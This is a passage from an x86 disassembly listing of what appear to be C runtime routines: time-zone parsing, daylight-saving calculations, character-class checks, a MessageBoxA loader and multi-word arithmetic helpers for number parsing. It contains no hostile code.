		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41C10A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F161
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41F161
		push	[ebp+var_10]
		push	ebx
		call	sub_42055F
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41F173


loc_41F161:				; CODE XREF: sub_41EEE4+265j
					; sub_41EEE4+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41CE78
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F17F


loc_41F173:				; CODE XREF: sub_41EEE4+24Ej
					; sub_41EEE4+27Bj
		push	ebx
		call	sub_41BE46
		pop	ecx


loc_41F17A:				; CODE XREF: sub_41EEE4+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F198
; ---------------------------------------------------------------------------


loc_41F17F:				; CODE XREF: sub_41EEE4+221j
					; sub_41EEE4+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41F196
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41F196
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41F196:				; CODE XREF: sub_41EEE4+29Fj
					; sub_41EEE4+2A5j
		mov	eax, ebx


loc_41F198:				; CODE XREF: sub_41EEE4+1D9j
					; sub_41EEE4+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EEE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F19D	proc near		; CODE XREF: sub_41C623:loc_41C662p
		cmp	dword_492AB0, 0
		jnz	short locret_41F1B1
		call	sub_41F1B2
		inc	dword_492AB0

locret_41F1B1:				; CODE XREF: sub_41F19D+7j
		retn
sub_41F19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F1B2	proc near		; CODE XREF: sub_41F19D+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4929F8, ebp
		mov	dword_436528, ebx
		mov	dword_436518, ebx
		call	sub_4206A5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41F2DB
		push	offset dword_492A00
		call	ds:dword_495438	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_41F40A
		mov	eax, dword_492A00
		mov	ecx, dword_492A54
		imul	eax, 3Ch
		cmp	word_492A46, bp
		push	1
		pop	edx
		mov	dword_436480, eax
		mov	dword_4929F8, edx
		jz	short loc_41F229
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_436480, eax


loc_41F229:				; CODE XREF: sub_41F1B2+69j
		cmp	word_492A9A, bp
		jz	short loc_41F24D
		mov	eax, dword_492AA8
		cmp	eax, ebp
		jz	short loc_41F24D
		sub	eax, ecx
		mov	dword_436484, edx
		imul	eax, 3Ch
		mov	dword_436488, eax
		jmp	short loc_41F259
; ---------------------------------------------------------------------------


loc_41F24D:				; CODE XREF: sub_41F1B2+7Ej
					; sub_41F1B2+87j
		mov	dword_436484, ebp
		mov	dword_436488, ebp


loc_41F259:				; CODE XREF: sub_41F1B2+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, ds:dword_4953E8
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43650C
		push	ebx
		push	offset dword_492A04
		push	edi
		push	dword_49289C
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41F296
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_41F296
		mov	eax, off_43650C
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41F29E
; ---------------------------------------------------------------------------


loc_41F296:				; CODE XREF: sub_41F1B2+D1j
					; sub_41F1B2+D7j
		mov	eax, off_43650C
		and	byte ptr [eax],	0


loc_41F29E:				; CODE XREF: sub_41F1B2+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_436510
		push	ebx
		push	offset dword_492A58
		push	edi
		push	dword_49289C
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_41F402
		cmp	[esp+14h+var_4], ebp
		jnz	loc_41F402
		mov	eax, off_436510
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41F40A
; ---------------------------------------------------------------------------


loc_41F2DB:				; CODE XREF: sub_41F1B2+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41F40A
		mov	eax, dword_492AAC
		cmp	eax, ebp
		jz	short loc_41F2FE
		push	eax
		push	esi
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41F40A


loc_41F2FE:				; CODE XREF: sub_41F1B2+139j
		push	dword_492AAC
		call	sub_415D6C
		push	esi
		call	sub_4158E0
		inc	eax
		push	eax
		call	sub_415CF8
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_492AAC, eax
		jz	loc_41F40A
		push	esi
		push	eax
		call	sub_4175D0
		push	3
		push	esi
		push	off_43650C
		call	sub_416A10
		mov	eax, off_43650C
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41F353
		push	1
		inc	esi
		pop	edi


loc_41F353:				; CODE XREF: sub_41F1B2+19Bj
		push	esi
		call	sub_416C44
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_436480, ecx


loc_41F36A:				; CODE XREF: sub_41F1B2+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41F378
		cmp	al, bl
		jl	short loc_41F37B
		cmp	al, 39h
		jg	short loc_41F37B


loc_41F378:				; CODE XREF: sub_41F1B2+1BCj
		inc	esi
		jmp	short loc_41F36A
; ---------------------------------------------------------------------------


loc_41F37B:				; CODE XREF: sub_41F1B2+1C0j
					; sub_41F1B2+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41F3CE
		inc	esi
		push	esi
		call	sub_416C44
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_436480
		add	ecx, eax
		mov	dword_436480, ecx


loc_41F399:				; CODE XREF: sub_41F1B2+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41F3A6
		cmp	al, 39h
		jg	short loc_41F3A6
		inc	esi
		jmp	short loc_41F399
; ---------------------------------------------------------------------------


loc_41F3A6:				; CODE XREF: sub_41F1B2+1EBj
					; sub_41F1B2+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41F3CE
		inc	esi
		push	esi
		call	sub_416C44
		pop	ecx
		mov	ecx, dword_436480
		add	ecx, eax
		mov	dword_436480, ecx


loc_41F3C1:				; CODE XREF: sub_41F1B2+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41F3CE
		cmp	al, 39h
		jg	short loc_41F3CE
		inc	esi
		jmp	short loc_41F3C1
; ---------------------------------------------------------------------------


loc_41F3CE:				; CODE XREF: sub_41F1B2+1CCj
					; sub_41F1B2+1F7j ...
		cmp	edi, ebp
		jz	short loc_41F3DA
		neg	ecx
		mov	dword_436480, ecx


loc_41F3DA:				; CODE XREF: sub_41F1B2+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_436484, eax
		jz	short loc_41F402
		push	3
		push	esi
		push	off_436510
		call	sub_416A10
		mov	eax, off_436510
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41F40A
; ---------------------------------------------------------------------------


loc_41F402:				; CODE XREF: sub_41F1B2+10Bj
					; sub_41F1B2+115j ...
		mov	eax, off_436510
		and	byte ptr [eax],	0


loc_41F40A:				; CODE XREF: sub_41F1B2+40j
					; sub_41F1B2+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41F1B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F410	proc near		; CODE XREF: sub_41C623+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_436484, edi
		jnz	short loc_41F424


loc_41F41D:				; CODE XREF: sub_41F410+148j
					; sub_41F410+150j ...
		xor	eax, eax
		jmp	loc_41F570
; ---------------------------------------------------------------------------


loc_41F424:				; CODE XREF: sub_41F410+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_436518
		jnz	short loc_41F442
		cmp	eax, dword_436528
		jz	loc_41F544


loc_41F442:				; CODE XREF: sub_41F410+24j
		cmp	dword_4929F8, edi
		jz	loc_41F51A
		movzx	ecx, word_492AA6
		push	ecx
		cmp	word_492A98, di
		movzx	ecx, word_492AA4
		push	ecx
		movzx	ecx, word_492AA2
		push	ecx
		movzx	ecx, word_492AA0
		push	ecx
		jnz	short loc_41F494
		movzx	ecx, word_492A9C
		push	edi
		push	ecx
		movzx	ecx, word_492A9E
		push	ecx
		movzx	ecx, word_492A9A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41F4A8
; ---------------------------------------------------------------------------


loc_41F494:				; CODE XREF: sub_41F410+65j
		movzx	ecx, word_492A9E
		push	ecx
		push	edi
		movzx	ecx, word_492A9A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41F4A8:				; CODE XREF: sub_41F410+82j
		push	ebx
		call	sub_41F5BC
		movzx	eax, word_492A52
		add	esp, 2Ch
		cmp	word_492A44, di
		push	eax
		movzx	eax, word_492A50
		push	eax
		movzx	eax, word_492A4E
		push	eax
		movzx	eax, word_492A4C
		push	eax
		jnz	short loc_41F502
		movzx	eax, word_492A48
		push	edi
		push	eax
		movzx	eax, word_492A4A
		push	eax
		movzx	eax, word_492A46
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41F4F7:				; CODE XREF: sub_41F410+108j
		push	edi
		call	sub_41F5BC
		add	esp, 2Ch
		jmp	short loc_41F544
; ---------------------------------------------------------------------------


loc_41F502:				; CODE XREF: sub_41F410+C8j
		movzx	eax, word_492A4A
		push	eax
		push	edi
		movzx	eax, word_492A46
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41F4F7
; ---------------------------------------------------------------------------


loc_41F51A:				; CODE XREF: sub_41F410+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41F5BC
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41F5BC
		add	esp, 58h


loc_41F544:				; CODE XREF: sub_41F410+2Cj
					; sub_41F410+F0j
		mov	edx, dword_43651C
		mov	eax, dword_43652C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41F574
		cmp	ecx, edx
		jl	loc_41F41D
		cmp	ecx, eax
		jg	loc_41F41D
		cmp	ecx, edx
		jle	short loc_41F588
		cmp	ecx, eax
		jge	short loc_41F588


loc_41F56E:				; CODE XREF: sub_41F410+166j
					; sub_41F410+16Aj
		mov	eax, ebx


loc_41F570:				; CODE XREF: sub_41F410+Fj
					; sub_41F410+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41F574:				; CODE XREF: sub_41F410+144j
		cmp	ecx, eax
		jl	short loc_41F56E
		cmp	ecx, edx
		jg	short loc_41F56E
		cmp	ecx, eax
		jle	short loc_41F588
		cmp	ecx, edx
		jl	loc_41F41D


loc_41F588:				; CODE XREF: sub_41F410+158j
					; sub_41F410+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41F5AF
		xor	ecx, ecx
		cmp	eax, dword_436520
		setnl	cl


loc_41F5AB:				; CODE XREF: sub_41F410+1AAj
		mov	eax, ecx
		jmp	short loc_41F570
; ---------------------------------------------------------------------------


loc_41F5AF:				; CODE XREF: sub_41F410+18Ej
		xor	ecx, ecx
		cmp	eax, dword_436530
		setl	cl
		jmp	short loc_41F5AB
sub_41F410	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F5BC	proc near		; CODE XREF: sub_41F410+99p
					; sub_41F410+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41F657
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41F5E7
		shl	esi, 2
		mov	eax, dword_436530[esi]
		jmp	short loc_41F5F0
; ---------------------------------------------------------------------------


loc_41F5E7:				; CODE XREF: sub_41F5BC+1Ej
		shl	esi, 2
		mov	eax, dword_436564[esi]


loc_41F5F0:				; CODE XREF: sub_41F5BC+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_41F62A
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41F634
; ---------------------------------------------------------------------------


loc_41F62A:				; CODE XREF: sub_41F5BC+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41F634:				; CODE XREF: sub_41F5BC+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41F672
		cmp	[ebp+arg_8], 0
		jnz	short loc_41F648
		mov	esi, dword_436534[esi]
		jmp	short loc_41F64E
; ---------------------------------------------------------------------------


loc_41F648:				; CODE XREF: sub_41F5BC+82j
		mov	esi, dword_436568[esi]


loc_41F64E:				; CODE XREF: sub_41F5BC+8Aj
		cmp	ecx, esi
		jle	short loc_41F672
		sub	ecx, 7
		jmp	short loc_41F672
; ---------------------------------------------------------------------------


loc_41F657:				; CODE XREF: sub_41F5BC+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41F668
		mov	ecx, dword_436530[eax*4]
		jmp	short loc_41F66F
; ---------------------------------------------------------------------------


loc_41F668:				; CODE XREF: sub_41F5BC+A1j
		mov	ecx, dword_436564[eax*4]


loc_41F66F:				; CODE XREF: sub_41F5BC+AAj
		add	ecx, [ebp+arg_18]


loc_41F672:				; CODE XREF: sub_41F5BC+7Cj
					; sub_41F5BC+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41F6A3
		mov	eax, [ebp+arg_1C]
		mov	dword_43651C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_436518, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_436520, eax
		jmp	short loc_41F6F8
; ---------------------------------------------------------------------------


loc_41F6A3:				; CODE XREF: sub_41F5BC+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43652C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_436488
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_436530, eax
		jns	short loc_41F6DB
		add	eax, 5265C00h
		dec	ecx
		mov	dword_436530, eax
		jmp	short loc_41F6EC
; ---------------------------------------------------------------------------


loc_41F6DB:				; CODE XREF: sub_41F5BC+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41F6F2
		sub	eax, edx
		inc	ecx
		mov	dword_436530, eax


loc_41F6EC:				; CODE XREF: sub_41F5BC+11Dj
		mov	dword_43652C, ecx


loc_41F6F2:				; CODE XREF: sub_41F5BC+126j
		mov	dword_436528, ebx


loc_41F6F8:				; CODE XREF: sub_41F5BC+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F5BC	endp

; ---------------------------------------------------------------------------
		push	1
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41F7D9
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		push	3
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41F7D9
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		push	2
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41F7D9
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		push	1
		push	107h
		push	dword ptr [esp+0Ch]
		call	sub_41F7D9
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		push	1
		push	103h
		push	dword ptr [esp+0Ch]
		call	sub_41F7D9
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		push	3
		push	117h
		push	dword ptr [esp+0Ch]
		call	sub_41F7D9
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		push	3
		push	157h
		push	dword ptr [esp+0Ch]
		call	sub_41F7D9
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		push	2
		push	10h
		push	dword ptr [esp+0Ch]
		call	sub_41F7D9
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41F790	proc near		; CODE XREF: sub_41D1EE+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41F7D9
		add	esp, 0Ch
		retn
sub_41F790	endp

; ---------------------------------------------------------------------------
		push	8
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41F7D9
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		cmp	dword_493FA0, 3A4h
		jnz	short loc_41F7D6
		push	3
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41F7D9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F7D6
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F7D6:				; CODE XREF: .text:0041F7BCj
					; .text:0041F7D0j
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41F7D9	proc near		; CODE XREF: .text:0041F704p
					; .text:0041F715p ...

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_494141[eax], cl
		jnz	short loc_41F806
		cmp	[esp+arg_4], 0
		jz	short loc_41F7FF
		movzx	eax, word_435C36[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41F801
; ---------------------------------------------------------------------------


loc_41F7FF:				; CODE XREF: sub_41F7D9+16j
		xor	eax, eax


loc_41F801:				; CODE XREF: sub_41F7D9+24j
		test	eax, eax
		jnz	short loc_41F806
		retn
; ---------------------------------------------------------------------------


loc_41F806:				; CODE XREF: sub_41F7D9+Fj
					; sub_41F7D9+2Aj
		push	1
		pop	eax
		retn
sub_41F7D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F80A	proc near		; CODE XREF: sub_41D965+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_492AB4, ebx
		push	esi
		push	edi
		jnz	short loc_41F859
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4953C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F88F
		mov	esi, ds:dword_4953C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_492AB4, eax
		jz	short loc_41F88F
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_492AB8, eax
		call	esi	; GetProcAddress
		mov	dword_492ABC, eax


loc_41F859:				; CODE XREF: sub_41F80A+Bj
		mov	eax, dword_492AB8
		test	eax, eax
		jz	short loc_41F878
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41F878
		mov	eax, dword_492ABC
		test	eax, eax
		jz	short loc_41F878
		push	ebx
		call	eax
		mov	ebx, eax


loc_41F878:				; CODE XREF: sub_41F80A+56j
					; sub_41F80A+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_492AB4


loc_41F88B:				; CODE XREF: sub_41F80A+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41F88F:				; CODE XREF: sub_41F80A+1Cj
					; sub_41F80A+33j
		xor	eax, eax
		jmp	short loc_41F88B
sub_41F80A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F893	proc near		; CODE XREF: sub_41DD85+2Bp
					; sub_41DD85+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41F8A9
		cmp	ecx, esi
		jnb	short loc_41F8AC


loc_41F8A9:				; CODE XREF: sub_41F893+10j
		push	1
		pop	eax


loc_41F8AC:				; CODE XREF: sub_41F893+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41F893	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8B4	proc near		; CODE XREF: sub_41F96D+40p
					; sub_41F96D+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41F893
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F8E6
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41F893
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F8E6
		inc	dword ptr [esi+8]


loc_41F8E6:				; CODE XREF: sub_41F8B4+19j
					; sub_41F8B4+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41F893
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F8FE
		inc	dword ptr [esi+8]


loc_41F8FE:				; CODE XREF: sub_41F8B4+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41F893
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41F8B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F912	proc near		; CODE XREF: sub_41F96D+30p
					; sub_41F96D+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41F912	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F940	proc near		; CODE XREF: sub_41FF41+1C8p
					; sub_420722+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41F940	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F96D	proc near		; CODE XREF: sub_41FA34+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41F9E1
		push	edi
		mov	[ebp+arg_8], eax


loc_41F994:				; CODE XREF: sub_41F96D+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41F912
		push	ebx
		call	sub_41F912
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41F8B4
		push	ebx
		call	sub_41F912
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41F8B4
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41F994
		xor	edx, edx
		pop	edi


loc_41F9E1:				; CODE XREF: sub_41F96D+21j
					; sub_41F96D+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41FA0E
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41F9E1
; ---------------------------------------------------------------------------


loc_41FA0E:				; CODE XREF: sub_41F96D+77j
		mov	esi, 8000h


loc_41FA13:				; CODE XREF: sub_41F96D+B9j
		test	[ebx+8], esi
		jnz	short loc_41FA28
		push	ebx
		call	sub_41F912
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41FA13
; ---------------------------------------------------------------------------


loc_41FA28:				; CODE XREF: sub_41F96D+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41F96D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FA34	proc near		; CODE XREF: sub_41E148+17p
					; .text:0041E18Dp ...

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41FA6F:				; CODE XREF: sub_41FA34+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41FA85
		cmp	cl, 9
		jz	short loc_41FA85
		cmp	cl, 0Ah
		jz	short loc_41FA85
		cmp	cl, 0Dh
		jnz	short loc_41FA88


loc_41FA85:				; CODE XREF: sub_41FA34+40j
					; sub_41FA34+45j ...
		inc	edi
		jmp	short loc_41FA6F
; ---------------------------------------------------------------------------


loc_41FA88:				; CODE XREF: sub_41FA34+4Fj
		push	4
		pop	esi


loc_41FA8B:				; CODE XREF: sub_41FA34+AEj
					; sub_41FA34+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41FD0E	; default
					; jumptable 0041FA97 case 10
		jmp	ds:off_41FED5[eax*4] ; switch jump


loc_41FA9E:				; DATA XREF: .text:off_41FED5o
		cmp	bl, 31h		; jumptable 0041FA97 case 0
		jl	short loc_41FAAF
		cmp	bl, 39h
		jg	short loc_41FAAF


loc_41FAA8:				; CODE XREF: sub_41FA34+C4j
					; sub_41FA34+118j
